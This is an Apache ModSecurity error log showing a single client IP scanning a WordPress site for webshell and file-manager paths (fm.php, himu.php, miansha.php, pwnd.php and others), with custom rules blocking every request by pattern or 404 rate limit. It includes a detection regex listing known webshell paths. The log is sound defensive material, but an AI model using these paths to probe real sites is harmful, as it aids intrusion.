[Tue Nov 25 20:09:13.057482 2025] [:error] [pid 28836:tid 28955] [client 20.196.125.130:30606] [client 20.196.125.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aSWcaZwNRsoxcLQGkTfMSgAAAsA"]
[Tue Nov 25 20:09:16.612162 2025] [:error] [pid 28842:tid 29020] [client 20.196.125.130:30699] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aSWcbNNmoaPf6T4-6C2giAAAA1I"]
[Tue Nov 25 20:09:17.416882 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30698] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aSWcbRG9n7UHEkwDTyij0AAAAEU"]
[Tue Nov 25 20:09:17.757255 2025] [:error] [pid 14076:tid 14081] [client 20.196.125.130:30473] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aSWcbXsB4Gz6Qw-pvBsf7wAAAAA"]
[Tue Nov 25 20:09:18.571313 2025] [:error] [pid 28609:tid 28623] [client 20.196.125.130:30715] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aSWcbiGGdT-nZJVs3x3MxwAAAYU"]
[Tue Nov 25 20:09:19.394770 2025] [:error] [pid 28609:tid 28642] [client 20.196.125.130:30608] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aSWcbyGGdT-nZJVs3x3MyQAAAZg"]
[Tue Nov 25 20:09:20.519675 2025] [:error] [pid 28740:tid 28806] [client 20.196.125.130:30532] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aSWccFppQCoYxWW6V0WOswAAAk8"]
[Tue Nov 25 20:09:21.462869 2025] [:error] [pid 14076:tid 14091] [client 20.196.125.130:30707] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aSWccXsB4Gz6Qw-pvBsf9QAAAAo"]
[Tue Nov 25 20:09:21.939418 2025] [:error] [pid 14077:tid 14112] [client 20.196.125.130:30640] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aSWccRG9n7UHEkwDTyij6gAAAEI"]
[Tue Nov 25 20:09:22.316929 2025] [:error] [pid 14076:tid 14088] [client 20.196.125.130:30587] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aSWccnsB4Gz6Qw-pvBsf-QAAAAc"]
[Tue Nov 25 20:09:22.710181 2025] [:error] [pid 28842:tid 29003] [client 20.196.125.130:30419] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aSWcctNmoaPf6T4-6C2glgAAA00"]
[Tue Nov 25 20:09:23.028796 2025] [:error] [pid 14078:tid 14143] [client 20.196.125.130:30584] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aSWcc9VXYbb0ii_rVoJQdQAAAIY"]
[Tue Nov 25 20:09:23.458986 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30635] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/himu.php"] [unique_id "aSWcc8-djEt-pTzPxnysGwAAAUE"]
[Tue Nov 25 20:09:24.068419 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30553] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aSWcdM-djEt-pTzPxnysHQAAAVI"]
[Tue Nov 25 20:09:24.567155 2025] [:error] [pid 14078:tid 14148] [client 20.196.125.130:30563] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aSWcdNVXYbb0ii_rVoJQdwAAAIs"]
[Tue Nov 25 20:09:25.148829 2025] [:error] [pid 14076:tid 14095] [client 20.196.125.130:30560] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aSWcdXsB4Gz6Qw-pvBsf_QAAAA4"]
[Tue Nov 25 20:09:25.980609 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30667] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "aSWcddNmoaPf6T4-6C2gnQAAA1Y"]
[Tue Nov 25 20:09:26.519958 2025] [:error] [pid 2987:tid 2993] [client 20.196.125.130:30651] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aSWcds-djEt-pTzPxnysIQAAAUQ"]
[Tue Nov 25 20:09:27.188389 2025] [:error] [pid 28842:tid 29005] [client 20.196.125.130:30651] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aSWcd9NmoaPf6T4-6C2goQAAA08"]
[Tue Nov 25 20:09:27.824610 2025] [:error] [pid 2987:tid 3002] [client 20.196.125.130:30627] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aSWcd8-djEt-pTzPxnysIgAAAU0"]
[Tue Nov 25 20:09:28.412509 2025] [:error] [pid 2987:tid 2999] [client 20.196.125.130:30543] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aSWceM-djEt-pTzPxnysIwAAAUo"]
[Tue Nov 25 20:09:28.820186 2025] [:error] [pid 28842:tid 28992] [client 20.196.125.130:30634] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aSWceNNmoaPf6T4-6C2gpQAAA0I"]
[Tue Nov 25 20:09:29.213586 2025] [:error] [pid 28609:tid 28623] [client 20.196.125.130:30540] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aSWceSGGdT-nZJVs3x3M1QAAAYU"]
[Tue Nov 25 20:09:29.787308 2025] [:error] [pid 14078:tid 14155] [client 20.196.125.130:30460] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aSWcedVXYbb0ii_rVoJQfwAAAJI"]
[Tue Nov 25 20:09:30.539437 2025] [:error] [pid 2987:tid 3005] [client 20.196.125.130:30633] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/miansha.php"] [unique_id "aSWces-djEt-pTzPxnysKAAAAVA"]
[Tue Nov 25 20:09:31.515926 2025] [:error] [pid 28836:tid 29013] [client 20.196.125.130:30585] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test2.php"] [unique_id "aSWce5wNRsoxcLQGkTfMTgAAAtc"]
[Tue Nov 25 20:09:32.055869 2025] [:error] [pid 14077:tid 14119] [client 20.196.125.130:30181] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test2.php"] [unique_id "aSWcfBG9n7UHEkwDTyij9gAAAEk"]
[Tue Nov 25 20:09:32.567428 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30542] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test2.php"] [unique_id "aSWcfBG9n7UHEkwDTyij-AAAAEA"]
[Tue Nov 25 20:09:32.982153 2025] [:error] [pid 14078:tid 14147] [client 20.196.125.130:30429] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test2.php"] [unique_id "aSWcfNVXYbb0ii_rVoJQhAAAAIo"]
[Tue Nov 25 20:09:33.453792 2025] [:error] [pid 2987:tid 3010] [client 20.196.125.130:30536] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWcfc-djEt-pTzPxnysLAAAAVU"]
[Tue Nov 25 20:09:34.037936 2025] [:error] [pid 28739:tid 28783] [client 20.196.125.130:30649] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWcfhxGpKmlkG4FexSD5QAAAhU"]
[Tue Nov 25 20:09:35.191722 2025] [:error] [pid 28836:tid 28964] [client 20.196.125.130:30458] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWcf5wNRsoxcLQGkTfMUAAAAsk"]
[Tue Nov 25 20:09:35.619566 2025] [:error] [pid 28842:tid 29001] [client 20.196.125.130:30669] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWcf9NmoaPf6T4-6C2gpgAAA0s"]
[Tue Nov 25 20:09:36.079936 2025] [:error] [pid 14076:tid 14087] [client 20.196.125.130:30522] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aSWcgHsB4Gz6Qw-pvBsgCgAAAAY"]
[Tue Nov 25 20:09:36.763685 2025] [:error] [pid 28739:tid 28769] [client 20.196.125.130:30621] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aSWcgBxGpKmlkG4FexSD9wAAAgc"]
[Tue Nov 25 20:09:37.148533 2025] [:error] [pid 14078:tid 14144] [client 20.196.125.130:30663] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aSWcgdVXYbb0ii_rVoJQiAAAAIc"]
[Tue Nov 25 20:09:37.629005 2025] [:error] [pid 2987:tid 2998] [client 20.196.125.130:30550] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aSWcgc-djEt-pTzPxnysOAAAAUk"]
[Tue Nov 25 20:09:38.040809 2025] [:error] [pid 28609:tid 28625] [client 20.196.125.130:30566] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aSWcgiGGdT-nZJVs3x3M7gAAAYc"]
[Tue Nov 25 20:09:39.203398 2025] [:error] [pid 28836:tid 28963] [client 20.196.125.130:30506] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aSWcg5wNRsoxcLQGkTfMZgAAAsg"]
[Tue Nov 25 20:09:39.928744 2025] [:error] [pid 28836:tid 29010] [client 20.196.125.130:30504] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aSWcg5wNRsoxcLQGkTfMZwAAAtQ"]
[Tue Nov 25 20:09:40.446394 2025] [:error] [pid 14077:tid 14126] [client 20.196.125.130:30583] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aSWchBG9n7UHEkwDTyikNQAAAFA"]
[Tue Nov 25 20:09:40.829019 2025] [:error] [pid 28740:tid 28812] [client 20.196.125.130:30544] [client 20.196.125.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSWchFppQCoYxWW6V0WOxwAAAlU"]
[Tue Nov 25 20:09:41.302891 2025] [:error] [pid 14168:tid 14192] [client 20.196.125.130:30468] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aSWchfR-ZDU0QEgAIItviQAAANU"]
[Tue Nov 25 20:09:41.755498 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30658] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aSWchc-djEt-pTzPxnysOgAAAUE"]
[Tue Nov 25 20:09:42.181693 2025] [:error] [pid 28740:tid 28810] [client 20.196.125.130:30535] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aSWchlppQCoYxWW6V0WOyQAAAlM"]
[Tue Nov 25 20:09:43.495249 2025] [:error] [pid 14168:tid 14188] [client 20.196.125.130:30591] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aSWch_R-ZDU0QEgAIItvmAAAANE"]
[Tue Nov 25 20:09:43.894517 2025] [:error] [pid 28842:tid 29003] [client 20.196.125.130:30711] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aSWch9NmoaPf6T4-6C2gugAAA00"]
[Tue Nov 25 20:09:44.384032 2025] [:error] [pid 14168:tid 14190] [client 20.196.125.130:30486] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aSWciPR-ZDU0QEgAIItvnwAAANM"]
[Tue Nov 25 20:09:44.702359 2025] [:error] [pid 28842:tid 28998] [client 20.196.125.130:30369] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aSWciNNmoaPf6T4-6C2gvAAAA0g"]
[Tue Nov 25 20:09:45.016378 2025] [:error] [pid 14168:tid 14177] [client 20.196.125.130:30474] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aSWcifR-ZDU0QEgAIItvpAAAAMY"]
[Tue Nov 25 20:09:45.392109 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30526] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aSWciSGGdT-nZJVs3x3M9QAAAY4"]
[Tue Nov 25 20:09:45.751081 2025] [:error] [pid 2987:tid 2999] [client 20.196.125.130:30537] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aSWcic-djEt-pTzPxnysPwAAAUo"]
[Tue Nov 25 20:09:46.383297 2025] [:error] [pid 2987:tid 3005] [client 20.196.125.130:30477] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aSWcis-djEt-pTzPxnysQAAAAVA"]
[Tue Nov 25 20:09:46.769702 2025] [:error] [pid 28609:tid 28642] [client 20.196.125.130:30586] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aSWciiGGdT-nZJVs3x3M9gAAAZg"]
[Tue Nov 25 20:09:47.170079 2025] [:error] [pid 14078:tid 14145] [client 20.196.125.130:30589] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWci9VXYbb0ii_rVoJQlQAAAIg"]
[Tue Nov 25 20:09:47.540535 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30164] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aSWci9NmoaPf6T4-6C2gwAAAA1Y"]
